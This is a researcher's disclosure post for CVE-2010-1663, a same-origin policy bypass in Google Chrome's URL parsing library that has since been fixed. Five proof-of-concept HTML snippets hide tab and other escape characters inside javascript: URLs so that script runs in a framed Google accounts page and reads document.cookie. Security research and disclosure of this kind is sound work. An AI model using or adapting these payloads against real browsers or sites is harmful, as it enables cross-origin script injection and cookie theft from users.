Archive for avril 2010

[CVE-2010-1663] Google Chrome Cross Origin Bypass in Google URL (GURL)


Titre: Google Chrome 4.1.249.1059 Cross Origin Bypass in Google URL (GURL)


CVE-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1663


Author: Security researcher Jordi Chancel


UPDATE Link: http://googlechromereleases.blogspot.com/2010/04/stable-update-bug-and-security-fixes.html


Description:

The Google URL Parsing Library (aka google-url or GURL) in Google Chrome before 4.1.249.1064 allows remote attackers to bypass the Same Origin Policy via CHARACTER TABULATION or others escape characters inside javascript: protocol string.


All PoC:
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\u0009ipt:alert(document.cookie)','test')" >Inject JavaScript</a>


<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\x09ipt:alert(document.cookie)','test')" >Inject JavaScript</a>


<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\nipt:alert(document.cookie)','test')" >Inject JavaScript</a>


<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\ript:alert(document.cookie)','test')" >Inject JavaScript</a>


<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\tipt:alert(document.cookie)','test')" >Inject JavaScript</a>


  • Vidéo de démonstration :


-Security Researcher Jordi Chancel